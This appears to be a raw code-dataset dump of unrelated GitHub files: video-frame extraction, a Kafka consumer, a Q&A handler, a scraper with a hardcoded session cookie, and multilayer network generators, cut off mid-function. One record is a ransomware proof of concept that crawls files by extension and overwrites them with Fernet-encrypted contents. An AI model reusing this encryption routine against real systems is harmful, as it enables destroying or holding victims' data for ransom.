"line_number": 38, "usage_type": "call"}, {"api_name": "cv2.boxPoints", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.int0", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 41, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.INTER_NEAREST", "line_number": 55, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 56, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cv2.minAreaRect", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.getRotationMatrix2D", "line_number": 67, "usage_type": "call"}, {"api_name": "cv2.warpAffine", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.getRectSubPix", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 87, "usage_type": "call"}, {"api_name": "cv2.INTER_NEAREST", "line_number": 87, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 88, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 91, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 91, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 93, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 101, "usage_type": "attribute"}, {"api_name": "cv2.polylines", "line_number": 106, "usage_type": "call"}, {"api_name": "cv2.fillPoly", "line_number": 107, "usage_type": "call"}, {"api_name": "cv2.imdecode", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.fromfile", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 109, "usage_type": "attribute"}, {"api_name": "cv2.bitwise_or", "line_number": 112, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 113, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 113, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 113, "usage_type": "attribute"}, {"api_name": "cv2.contourArea", "line_number": 117, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 119, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 120, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 120, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 120, "usage_type": "attribute"}, {"api_name": "cv2.contourArea", "line_number": 124, "usage_type": "call"}]} {"seq_id": "40569941732", "text": "import cv2\nimport math\nimport os\n\nfrom src.const_spec import *\nfrom ext import cut_detector as cd\n\n\ndef video2img(file, output_directory, resize=None, get_frame=0.0, unit='select', distinguish=False,\n min_frames=0, verbose=True):\n\n # Creating a new directory if not exists\n if not os.path.exists(output_directory):\n os.mkdir(output_directory)\n\n # Warning that in the output directory may be some images\n if os.listdir(output_directory) != list():\n print('[W] Output directory is not empty! %s' % os.path.abspath(output_directory))\n\n # Loading the video and getting frame rate\n cap = cv2.VideoCapture(file)\n\n # Setting the framerate to get video image\n if get_frame == 0:\n get_frame = 1\n elif unit == 'time':\n get_frame = cap.get(cv2.CAP_PROP_FPS) * get_frame\n # endif get_frame == 0 // Setting the framerate to get video image\n\n # it should be an integer\n get_frame = math.floor(get_frame)\n\n # time increment\n dt = 1000.0 / cap.get(cv2.CAP_PROP_FPS)\n\n # Get total frames to save\n total_frames = math.ceil(cap.get(cv2.CAP_PROP_FRAME_COUNT) / get_frame)\n\n # A video cutter is used to distinguish each scene\n cuts = list()\n if distinguish:\n if verbose:\n print('Using the Video Cutter')\n\n # Configuration for TV News\n config = cd.get_config('udalosti')\n\n # Score calculation to detect cuts\n scorings = cd.calculate_scorings(file, sizes=[config['size']])\n\n # Get cuts using TV News configuration and scorings\n cuts, means, maxs = cd.calculate_cuts(\n scorings['SAD_%d' % config['size']], config['neighbourhood_size'], config['neighbourhood_distance'],\n config['T1'], config['T2'], config['T3']\n )\n\n get_frame_list = list()\n cuts = [0] + cuts + [cap.get(cv2.CAP_PROP_FRAME_COUNT)]\n for i in range(0, len(cuts) - 1):\n if (cuts[i + 1] - cuts[i]) / get_frame < min_frames:\n save = int((cuts[i + 1] - cuts[i]) / min_frames)\n\n if save == 0:\n save = 1\n get_frame_list.append(save)\n else:\n get_frame_list.append(get_frame)\n get_frame = get_frame_list\n cuts = cuts[1:-1]\n else:\n # The video cutter is not required\n cuts.append(math.inf)\n get_frame = [get_frame]\n # endif distinguish // A video cutter is used to distinguish each scene\n\n # Get number of cuts\n num_cuts = len(cuts)\n\n # Print information about image saving\n if verbose and min_frames in [0, 1]:\n if str(get_frame)[-1] == '1':\n termination = 'st'\n elif str(get_frame)[-1] == '2':\n termination = 'nd'\n elif str(get_frame)[-1] == '3':\n termination = 'rd'\n else:\n termination = 'th'\n\n print('Saving every ' + str(get_frame) + termination + ' frame.')\n # endif verbose // Print information about image saving\n\n # Saving images from the video\n saved = 0\n time = 0\n scene = 0\n scene_directory = ''\n while cap.isOpened():\n frame_id = int(cap.get(1))\n\n # Check that the video is not at the end\n ret, frame = cap.read()\n if ret is not True:\n break\n\n # Time to save frame\n if frame_id % get_frame[scene] == 0:\n # Use the video cutter information to divide images by scene type\n if distinguish and scene < num_cuts and frame_id >= cuts[scene]:\n # A new scene is detected - create a directory to store images\n scene += 1\n scene_directory = f'scene%04d' % scene\n if scene_directory not in os.listdir(output_directory):\n os.mkdir(output_directory + '\\\\' + scene_directory)\n elif distinguish and time == 0:\n # Init directory for storing images when the video cutter is required\n scene_directory = f'scene%04d' % 0\n if scene_directory not in os.listdir(output_directory):\n os.mkdir(output_directory + '\\\\' + scene_directory)\n\n # Get image name\n img_name = output_directory + '\\\\' + scene_directory + f'\\\\%08dms.jpg' % time\n\n # Resize image if required\n if resize is not None:\n frame = cv2.resize(frame, resize)\n\n # Save image to the output directory\n cv2.imwrite(img_name, frame)\n saved += 1\n\n if verbose and (saved % 50 == 0):\n if min_frames in [0, 1]:\n print(f'[%5d/%5d] images saved' % (saved, total_frames))\n else:\n print(f'[%5d/more than %5d] images saved' % (saved, total_frames))\n # endif frame_id % get_frame == 0 // Time to save frame\n\n time += dt\n # endwhile cap.isOpened() // Saving images from the video\n\n if verbose and (saved % 50 != 0):\n if min_frames in [0, 1]:\n print(f'[%5d/%5d] images saved' % (saved, total_frames))\n else:\n print('[the last] image saved')\n\n cap.release()\n\n\nif __name__ == \"__main__\":\n VIDEO_FILE = \"../data/zpravy_TV_prima.ts\"\n OUTPUT_DIR = '../data/dataset_test_TV_prima'\n\n video2img(VIDEO_FILE, OUTPUT_DIR, resize=FRAME_SIZE, get_frame=0.2, unit='time', distinguish=True, min_frames=NUM_FRAMES)\n #video2img(VIDEO_FILE, '../data/dataset_test', resize=FRAME_SIZE, get_frame=1, unit='time', distinguish=False)\n", "repo_name": "vyskocj/TV-News-Scene-Recognition", "sub_path": "src/video_capture.py", "file_name": "video_capture.py", "file_ext": "py", "file_size_in_byte": 5511, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "os.path.exists", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 14, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FPS", "line_number": 27, "usage_type": "attribute"}, {"api_name": "math.floor", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FPS", "line_number": 34, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_COUNT", "line_number": 37, "usage_type": "attribute"}, {"api_name": "ext.cut_detector.get_config", "line_number": 46, "usage_type": "call"}, {"api_name": "ext.cut_detector", "line_number": 46, "usage_type": "name"}, {"api_name": "ext.cut_detector.calculate_scorings", "line_number": 49, "usage_type": "call"}, {"api_name": "ext.cut_detector", "line_number": 49, "usage_type": "name"}, {"api_name": "ext.cut_detector.calculate_cuts", "line_number": 52, "usage_type": "call"}, {"api_name": "ext.cut_detector", "line_number": 52, "usage_type": "name"}, {"api_name": "cv2.CAP_PROP_FRAME_COUNT", "line_number": 58, "usage_type": "attribute"}, {"api_name": "math.inf", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 113, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 114, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 118, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 119, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 126, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 129, "usage_type": "call"}]} {"seq_id": "6393018221", "text": "from websockets.sync.client import connect\nimport json\nimport time\n\nfrom kafka import KafkaConsumer\n\n\nif __name__ == '__main__':\n consumer = KafkaConsumer(\"bitcoin\", auto_offset_reset='earliest',\n bootstrap_servers=['localhost:9092'], api_version=(0, 10), consumer_timeout_ms=1000)\n maximums = []\n n = 0\n for msg in consumer:\n time.sleep(0.1)\n record = json.loads(msg.value)\n price = float(record[\"data\"]['price'])\n maximums.append(price)\n maximums.sort(reverse=True)\n maximums = maximums[:10]\n print(maximums)\n n += 1\n if consumer is not None:\n consumer.close()\n print(\"10 max prices:\")\n print(maximums)\n print(f\"Number of prices: {n}\")", "repo_name": "dvzadara/kafka-lab", "sub_path": "consumer.py", "file_name": "consumer.py", "file_ext": "py", "file_size_in_byte": 752, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "kafka.KafkaConsumer", "line_number": 9, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 14, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 15, "usage_type": "call"}]} {"seq_id": "27245817591", "text": "from utils.log import log\n\n\nclass Question:\n def __init__(self, db, event_handler):\n \"\"\"\n Handles questions posted to the Ubik platform.\n\n :param db: object for Postgres database.\n \"\"\"\n self.db = db\n self.cur = db.get_cursor()\n self.event_handler = event_handler\n self.stored_question = True\n\n def add_question(self, text, asker_id):\n \"\"\"\n Adds the question to the database\n\n :param text: The test of the question\n :param asker_id: The person who asked the question\n :return: None\n \"\"\"\n question = text.split('[Question]')[1].strip()\n try:\n self.cur.execute(\n \"INSERT INTO question (question, asker_id, has_answer) VALUES (%s, %s, %s) RETURNING question_id;\",\n (question, str(asker_id), False))\n question_id = self.cur.fetchone()[0]\n self.cur.execute(\n \"INSERT INTO users (user_id) SELECT (%s) WHERE NOT EXISTS (SELECT * FROM users WHERE user_id=%s);\",\n (str(asker_id),str(asker_id)))\n self.event_handler.new_question(question_id)\n except:\n self.stored_question = False\n\n def fetch_response(self):\n \"\"\"\n Sends a immediate feedback, explaining, if the question was saved or not.\n\n :return: Feedback message\n \"\"\"\n if self.stored_question:\n return \"Your question has been saved. \"\\\n \"I will get back to you with an expert's answer. \"\\\n \"Keep your fingers crossed. \"\\\n \"Meanwhile, you can ask another question, or post answer for requested question.\"\n else:\n self.stored_question = True\n return \"Sorry, there has been some issue with our server. We are working hard to fix it up. \"\\\n \"Try again after sometime.\"\n\n def mark_question_as_resolved(self, question_id):\n try:\n self.cur.execute(\n \"UPDATE question SET has_answer=TRUE WHERE question_id=%s\",\n (question_id,)\n )\n except:\n log(\"question reolution db update failed\")\n\n", "repo_name": "gitter-badger/Ubik", "sub_path": "modules/src/question.py", "file_name": "question.py", "file_ext": "py", "file_size_in_byte": 2177, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "utils.log.log", "line_number": 60, "usage_type": "call"}]} {"seq_id": "25218084678", "text": "import requests,re,time,json\n\n\nurl = 'https://a.sendbp.com/redui/article/188705/947202bf3f74'\nheaders = {\n 'Cookie': 'JSESSIONID=CBC3F3908BC7809ECDBC6370837FE4D3',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'\n}\nresponse = requests.get(url, headers=headers)\n# print(response.text)\ncontent = re.findall('vue.pageData(.*?)}\\);',response.text)\nprint(content)", "repo_name": "wangdexinpython/test", "sub_path": "解析添加/sendbp.py", "file_name": "sendbp.py", "file_ext": "py", "file_size_in_byte": 442, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "requests.get", "line_number": 9, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 11, "usage_type": "call"}]} {"seq_id": "13500813363", "text": "from cryptography.fernet import Fernet\r\nimport random\r\nimport glob\r\nimport string\r\n\r\n\"\"\"\r\nThe basic encrypt, generation, and decrypt functions are borrowed from the Fernet documentation.\r\nAll extra code for this ransomware POC is made by me such as the file creation/deletion of key, the emailing of the key, main.py, etc.\r\nCredit for the pre-exisitng used functions goes to those who desreve it :).\r\nUse this at your own risk !! \r\n\r\n\"\"\"\r\n\r\n#creates random file name to prevent easy finding\r\ndef random_fname():\r\n x = string.ascii_letters\r\n y = ''.join(random.choice(x) for i in range(10))\r\n fname = y+\".key\"\r\n return fname\r\n\r\n#creates a key and saves to a file this will be removed in the future to hide key and use a premade/nonstored one for ransomeware\r\ndef create_key():\r\n key = Fernet.generate_key()\r\n #random key file name\r\n\r\n with open(random_fname(),\"wb\") as key_file:\r\n key_file.write(key)\r\n\r\n#crawls file extensions and creates a list of them\r\ndef os_crawler():\r\n extensions = ['*.txt', '*.docx', '*.exe', '*.zip', '*.rar', '*.mp3', '*.mp4', '*.jpg', '*.png']\r\n crawled_list = []\r\n for x in range(len(extensions)):\r\n crawled_list.append(glob.glob(extensions[x]))\r\n return crawled_list\r\n\r\n#flattens list from crawler\r\ndef flatten(t):\r\n return [item for sublist in t for item in sublist]\r\n\r\n#finds file in current directory and loads key from file\r\ndef load_key():\r\n targetPattern = glob.glob(\"*.key\")\r\n return open(targetPattern[0], \"rb\").read()\r\n\r\n#requires a file name (str) and a key (bytes) it will ecrypt the file and write it\r\ndef encrypt(filename, key):\r\n f = Fernet(key)\r\n with open(filename, \"rb\") as file:\r\n file_data = file.read()\r\n encrypted_data = f.encrypt(file_data)\r\n with open(filename, \"wb\") as file:\r\n file.write(encrypted_data)\r\n\r\n#decrypts the encrypted file with given key\r\ndef decrypt(fname, key):\r\n f = Fernet(key)\r\n with open(fname, \"rb\") as file:\r\n #read encrypted stuff\r\n encrypted_data = file.read()\r\n #decrypt data that was read\r\n decrypted_data = f.decrypt(encrypted_data)\r\n #rewrite the original file\r\n with open(fname, \"wb\") as file:\r\n file.write(decrypted_data)\r\n", "repo_name": "FinnSchaefer/Python-Ransomware-POC", "sub_path": "main_functions.py", "file_name": "main_functions.py", "file_ext": "py", "file_size_in_byte": 2227, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "string.ascii_letters", "line_number": 16, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 17, "usage_type": "call"}, {"api_name": "cryptography.fernet.Fernet.generate_key", "line_number": 23, "usage_type": "call"}, {"api_name": "cryptography.fernet.Fernet", "line_number": 23, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 34, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 43, "usage_type": "call"}, {"api_name": "cryptography.fernet.Fernet", "line_number": 48, "usage_type": "call"}, {"api_name": "cryptography.fernet.Fernet", "line_number": 57, "usage_type": "call"}]} {"seq_id": "16546520076", "text": "\"\"\"Functions for generating multilayer and multiplex networks using various network models.\n\"\"\"\n\n##### Compatibility for Python 2/3\ntry:\n xrange\nexcept NameError:\n xrange = range\n######\n\nfrom .net import MultilayerNetwork,MultiplexNetwork\nimport math,random\n\n\ndef single_layer_conf(net,degs,degstype=\"distribution\"):\n \"\"\"Generates a realization of configuration model network.\n\n Parameters\n ----------\n net : MultilayerNetwork with aspects=0\n Empty network object that is to be filled.\n degs : dict \n Degrees of the network. See degstype parameter.\n degstype : string\n If 'distribution', then degs parameter gives the degree distribution. I.e.,\n keys are degrees, and corresponding values are number of nodes with the given degree.\n If 'nodes', then degs parameter gives node degrees. I.e, keys are node names and\n corresponding values are degrees of those nodes.\n\n Notes\n -----\n The algorithm used here is similar to the one in article:\n B.D McKay, N.C Wormald 'Uniform Generation of Random Regular Graphs of Moderate Degree'\n Journal of Algorithms 11, pages 52-67 (1990)\n\n The difference between the algorithm presented in the article and the one in this\n function is that the random restarts are not implemented here. This means that the\n sampled networks are not exactly statistically uniform. However, if the degrees \n are small compared to the number of nodes the error is likely to be small.\n \"\"\"\n stubs=[]\n selfedges={}\n multiedges=set()\n edgetoindex={}\n\n if degstype==\"distribution\":\n nstubs=sum(map(lambda x:x[0]*x[1],degs.items()))\n nodes=sum(degs.values())\n shuffled_node_indices=list(range(nodes))\n random.shuffle(shuffled_node_indices)\n node=0\n for k,num in degs.items():\n if k==0:\n for i in range(num):\n net.add_node(shuffled_node_indices[node])\n node+=1\n else:\n for i in range(num):\n for j in range(k):\n stubs.append(shuffled_node_indices[node])\n node+=1\n elif degstype==\"nodes\":\n nstubs=sum(degs.values())\n nodes=len(degs)\n #for node,k in degs.iteritems():\n for node in degs:\n k=degs[node]\n for i in range(k):\n stubs.append(node)\n if k==0:\n net.add_node(node)\n else:\n raise Exception(\"Invalid degstype: '\"+str(degstype)+\"'\")\n \n # Here we should do the Erdos-Gallai test\n assert nstubs%2==0\n assert (nodes*(nodes-1)) >= nstubs\n\n random.shuffle(stubs)\n\n for s in range(int(len(stubs)/2)):\n node1,node2=sorted([stubs[2*s],stubs[2*s+1]])\n\n edgetoindex[(node1,node2)]=edgetoindex.get((node1,node2),[])+[2*s]\n\n if net[node1,node2]!=0:\n multiedges.add((node1,node2))\n\n if node1==node2:\n selfedges[node1]=selfedges.get(node1,[])+[2*s]\n else:\n net[node1,node2]=1\n\n for node,sis in selfedges.items():\n for si in sis:\n repeat=True\n while repeat:\n #select two edges at random\n e1i,e2i=map(lambda x:2*x,random.sample(xrange(int(len(stubs)/2)),2))\n c=[node,stubs[e1i],stubs[e1i+1],stubs[e2i],stubs[e2i+1]]\n n2,n3=sorted([c[1],c[2]])\n n4,n5=sorted([c[3],c[4]])\n if len(set(c))==len(c):\n if (n2,n3) not in multiedges and (n4,n5) not in multiedges:\n if net[node,n2]==0 and net[node,n4]==0 and net[n3,n5]==0: \n net[n2,n3]=0\n net[n4,n5]=0\n net[node,n2]=1\n net[node,n4]=1\n net[n3,n5]=1\n stubs[si],stubs[si+1]=sorted([n3,n5])\n stubs[e1i],stubs[e1i+1]=sorted([node,n2])\n stubs[e2i],stubs[e2i+1]=sorted([node,n4])\n repeat=False\n\n # Uncomment to check that everything ok so far:\n #import diagnostics\n #assert sum(map(lambda x:x[0]*x[1],diagnostics.degs(net).items()))/2.+sum(map(lambda x:len(edgetoindex[x[0],x[1]])-1,multiedges))==sum(map(lambda x:x[0]*x[1],degs.items()))/2.\n\n #for s in range(len(stubs)/2):\n # n1,n2=stubs[2*s],stubs[2*s+1]\n # assert net[n1,n2]==1,str(2*s)\n\n for n1,n2 in multiedges:\n for dummy in range(int(math.floor(len(edgetoindex[(n1,n2)])/2.))):\n repeat=True\n while repeat:\n #select two edges at random\n e1i,e2i=map(lambda x:2*x,random.sample(xrange(int(len(stubs)/2)),2))\n c=[n1,n2,stubs[e1i],stubs[e1i+1],stubs[e2i],stubs[e2i+1]]\n n3,n4=sorted([c[2],c[3]])\n n5,n6=sorted([c[4],c[5]])\n if len(set(c))==len(c):\n if (n3,n4) not in multiedges and (n5,n6) not in multiedges:\n if net[n1,n3]==0 and net[n2,n4]==0 and net[n1,n5]==0 and net[n2,n6]==0:\n if len(edgetoindex[n1,n2])==2:\n net[n1,n2]=0\n assert net[n3,n4]==1\n assert net[n5,n6]==1\n net[n3,n4]=0\n net[n5,n6]=0\n net[n1,n3]=1\n net[n2,n4]=1\n net[n1,n5]=1\n net[n2,n6]=1\n si1,si2=sorted([edgetoindex[n1,n2].pop(),edgetoindex[n1,n2].pop()])\n stubs[si1],stubs[si1+1]=sorted([n1,n3])\n stubs[si2],stubs[si2+1]=sorted([n2,n4]) #stubs[si1],stubs[si1+1]=sorted([n2,n4])\n stubs[e1i],stubs[e1i+1]=sorted([n1,n5])\n stubs[e2i],stubs[e2i+1]=sorted([n2,n6])\n repeat=False\n\n\n\ndef single_layer_er(net,nodes,p=None,edges=None):\n \"\"\"Generates a realization of a monoplex Erdos-Renyi network.\n\n Parameters\n ----------\n net : MultilayerNetwork with aspects=0\n Empty network object that is to be filled.\n nodes : iterable\n Sequence of node labels. \n p : float\n Probability that edges is present.\n edges : int\n Number of edges that are present.\n\n References\n ----------\n Efficient generation of large random networks. PRE 71, 036113 (2005) \n \"\"\"\n\n if (p==None and edges==None) or (p!=None and edges!=None):\n raise Exception(\"Give one of the parameters: p or edges.\")\n\n n=len(nodes)\n for node in nodes:\n net.add_node(node)\n\n if p!=None: \n if p==1.0:\n for node1 in nodes:\n for node2 in nodes:\n if node1!=node2:\n net[node1,node2]=1\n else:\n v,w=1,-1\n while (v < n):\n r=random.random()\n w=w+1+int(math.floor(math.log(1-r)/math.log(1-p)))\n while ((w >= v) and (v < n)):\n w = w-v\n v = v+1\n if (v < n):\n net[nodes[v],nodes[w]]=1\n else:\n for edge_index in random.sample(xrange(int((n*(n-1))/2)),edges):\n v=int(1+math.floor(-0.5+math.sqrt(0.25+2*edge_index)))\n w=edge_index-int((v*(v-1))/2)\n net[nodes[v],nodes[w]]=1\n\ndef conf(degs,degstype=\"distribution\",couplings=(\"categorical\",1.0)):\n \"\"\"Independent configuration model for multiplex networks.\n\n Parameters\n ----------\n degs : dict, dict of dicts, list of dicts, MultiplexNetwork, MultilayerNetwork\n Degrees. If dict, a monoplex network is returned. If dict of dicts, a multiplex network with\n keys as layer names is returned. If list of dicts, then a multiplex network with a layer for\n each element in the list is returned. See degstype parameter for the description of the dict\n used for describing intra-layer networks. If MultiplexNetwork (with 1 aspect) or MultilayerNetwork \n (with 0 aspects) object is given then a copy of that network is produced with configuration\n model.\n\n degstype : string\n If 'distribution', then degs dicts give the degree distributions. I.e.,\n keys are degrees, and corresponding values are number of nodes with the given degree.\n If 'nodes', then degs dicts give node degrees. I.e, keys are node names and\n corresponding values are degrees of those nodes.\n\n couplings : tuple\n The coupling types of the multiplex network object.\n\n Returns\n -------\n net : MultiplexNetwork\n The (multiplex) network produced with the configuration model.\n\n\n See also\n --------\n single_layer_conf : the function used to generate a network on each layer\n\n\n \"\"\"\n if isinstance(degs,MultiplexNetwork):\n assert degs.aspects==1\n d={}\n for layer in degs.iter_layers():\n dd={}\n d[layer]=dd\n for node in degs.A[layer]:\n dd[node]=degs.A[layer][node].deg()\n return conf(d,degstype=\"nodes\")\n elif isinstance(degs,MultilayerNetwork):\n assert degs.aspects==0\n d={}\n for node in degs:\n d[node]=degs[node].deg()\n return conf(d,degstype=\"nodes\")\n #elif isinstance(degs,dict) and not isinstance(degs.itervalues().next(),dict):\n elif isinstance(degs,dict) and not isinstance(degs[(k for k in degs).send(None)],dict):\n net=MultilayerNetwork(aspects=0)\n single_layer_conf(net,degs,degstype=degstype)\n else: \n #check if the network is going to be node-aligned\n namedlayers=isinstance(degs,dict)\n if namedlayers:\n degslist=degs.values()\n else:\n degslist=degs\n nnodes=None\n nodeAligned=True\n if degstype==\"distribution\":\n for ldegs in degslist:\n lnnodes=sum(ldegs.values())\n if nnodes!=None and lnnodes!=nnodes:\n nodeAligned=False\n nnodes=lnnodes\n elif degstype==\"nodes\":\n for ldegs in degslist:\n lnnodes=set(ldegs.keys())\n if nnodes!=None and lnnodes!=nnodes:\n nodeAligned=False\n nnodes=lnnodes\n else:\n raise Exception()\n\n net=MultiplexNetwork(couplings=[couplings],fullyInterconnected=nodeAligned)\n if namedlayers:\n #layers=degs.iteritems()\n layers = ((node, degs[node]) for node in degs )\n else:\n layers=enumerate(degs)\n for l,ldegs in layers:\n net.add_layer(l)\n single_layer_conf(net.A[l],ldegs,degstype=degstype)\n\n return net\n\n\ndef er(n,p=None,edges=None):\n \"\"\"Multiplex Erdos-Renyi model.\n\n Parameters\n ----------\n n : int, list of lists of nodes\n Number of nodes, or lists of nodes in each layer if network is not fully \n interconnected.\n p : float or list of floats\n Connection probability, or list of connection probabilities for each layer.\n edges : int or list of int\n Number of edges, or list of number of edges in each layer.\n\n Returns\n -------\n net : MultiplexNetwork\n The (multiplex) network produced.\n\n See also\n --------\n single_layer_er : the function used to generate a network on each layer\n \"\"\"\n # What kind of network?\n fic = not hasattr(n,'__iter__') #fully interconnected\n monoplex = (not hasattr(p,'__iter__')) and (not hasattr(edges,'__iter__')) and fic\n \n # Sanity check for parameters\n if (p==None and edges==None) or (p!=None and edges!=None):\n raise Exception(\"Give one of the parameters: p or edges.\")\n if not fic:\n if hasattr(p,'__iter__'):\n assert len(n)==len(p)\n elif hasattr(edges,'__iter__'):\n assert len(n)==len(edges)\n\n \n # Create the network\n if monoplex:\n net=MultilayerNetwork(aspects=0)\n else:\n net=MultiplexNetwork(couplings=[('categorical',1.0)],fullyInterconnected=fic)\n if not hasattr(n,'__iter__'):\n if p!=None:\n nodes=list(map(lambda x:xrange(n),p))\n layers=xrange(len(p))\n else:\n nodes=list(map(lambda x:xrange(n),edges))\n layers=xrange(len(edges))\n else:\n nodes=n\n layers=xrange(len(n))\n if p!=None and (not hasattr(p,'__iter__')):\n p=list(map(lambda x:p,layers))\n if edges!=None and (not hasattr(edges,'__iter__')):\n edges=list(map(lambda x:edges,layers))\n \n\n # Fill in the edges\n if p!=None:\n if monoplex:\n single_layer_er(net,range(n),p=p)\n else:\n for l,lp,lnodes in zip(layers,p,nodes):\n net.add_layer(l)\n single_layer_er(net.A[l],lnodes,p=lp)\n else:\n if monoplex:\n single_layer_er(net,range(n),edges=edges)\n else:\n for l,ledges,lnodes in zip(layers,edges,nodes):\n net.add_layer(l)\n single_layer_er(net.A[l],lnodes,edges=ledges)\n\n return net\n\ndef er_partially_interconnected(nodes,ps,couplings=('categorical',1.0)):\n \"\"\"Generate multiplex Erdos-Renyi network which is not fully interconnected.\n\n The produced multiplex network has a single aspect.\n\n Parameters\n ----------\n nodes : list of lists \n List of lists of nodes, where each list corresponds to\n nodes in one layer.\n ps : list\n List of edge occupation probabilities for layers\n couplings : tuple\n The coupling types of the multiplex network object.\n\n Returns\n -------\n net : MultiplexNetwork\n The multiplex network that is produced. \n \"\"\"\n assert len(nodes)==len(ps)\n net=MultiplexNetwork(couplings=[couplings],fullyInterconnected=False)\n for layer,lnodes in enumerate(nodes):\n net.add_layer(layer)\n single_layer_er(net.A[layer],lnodes,ps[layer])\n return net\n\ndef full(nodes,layers,couplings=('categorical',1.0)):\n \"\"\"Generate a full multiplex network.\n\n The produced multiplex network has a single aspect and is fully\n interconnected. Can also produce a full monoplex network.\n\n Parameters\n ----------\n nodes : int\n Number of nodes in the network\n layers : int, sequence or None\n Number of layers in the network, a sequence of layer names, or\n None for monoplex networks.\n couplings : tuple\n The coupling types of the multiplex network object.\n\n Returns\n -------\n net : MultiplexNetwork or MultilayerNetwork\n The multiplex network that is produced, or the monoplex\n network (which is of type MultilayerNetwork).\n \"\"\"\n if layers==None:\n n=MultilayerNetwork(aspects=0)\n for node1 in range(nodes):\n for node2 in range(nodes):\n if node1!=node2:\n n[node1,node2]=1\n elif not hasattr(layers,'__iter__'): #is not sequence\n n=MultiplexNetwork(couplings=[couplings])\n for layer in range(layers):\n for node1 in range(nodes):\n for node2 in range(nodes):\n if node1!=node2:\n n[node1,node2,layer,layer]=1\n else: #it's a sequence\n n=MultiplexNetwork(couplings=[couplings])\n for layer in layers:\n for node1 in range(nodes):\n for node2 in range(nodes):\n if node1!=node2:\n n[node1,node2,layer,layer]=1\n\n return n\n\ndef full_multilayer(nodes,layers):\n \"\"\"Generate a full multilayer network.\n\n The generated network has a single aspect, and all the inter-layer \n and intra-layer edges.\n\n Parameters\n ----------\n nodes : int\n Number of nodes in the network\n layers : int or sequence\n Number of layers in the network, or a sequence of layer names\n\n Returns\n -------\n net : MultilayerNetwork\n The multilayer network that is produced.\n \"\"\"\n if not hasattr(layers,'__iter__'): #is not sequence\n layers=range(layers)\n\n n=MultilayerNetwork(aspects=1)\n for layer1 in layers:\n for layer2 in layers:\n for node1 in range(nodes):\n for node2 in range(nodes):\n if node1!=node2 or layer1!=layer2:\n n[node1,node2,layer1,layer2]=1\n return n\n\ndef er_multilayer(nodes,layers,p,randomWeights=False):\n \"\"\"Generate multilayer Erdos-Renyi network.\n\n The produced multilayer network has a single aspect.\n\n Parameters\n ----------\n nodes : int\n Number of nodes in the network\n layers : int or sequence\n Number of layers in the network, or a sequence of layer names\n p : float\n The edge probability\n randomWeights : bool\n If true the weights are uniformly random between (0,1].\n\n Returns\n -------\n net : 